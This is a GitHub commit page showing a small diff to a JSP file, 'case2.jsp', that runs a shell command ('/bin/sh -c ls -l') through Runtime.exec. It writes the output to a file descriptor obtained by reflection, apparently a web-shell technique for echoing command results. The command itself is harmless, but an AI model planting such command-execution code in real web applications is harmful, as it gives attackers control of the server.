We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 77c94db commit e70859fCopy full SHA for e70859f
Linux/code/case2.jsp
@@ -45,16 +45,8 @@
45
c.setAccessible(true);
46
47
cmd = new String[]{"/bin/sh", "-c", "ls -l" };
48
- br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
49
-
50
- StringBuilder sb = new StringBuilder();
51
- while ((line = br.readLine()) != null){
52
- sb.append(line + "\n");
53
- }
+ String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
54
55
java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(fd));
56
- os.write(sb.toString().getBytes());
57
58
- br.close();
59
- os.close();
+ os.write(res.getBytes());
60
%>
0 commit comments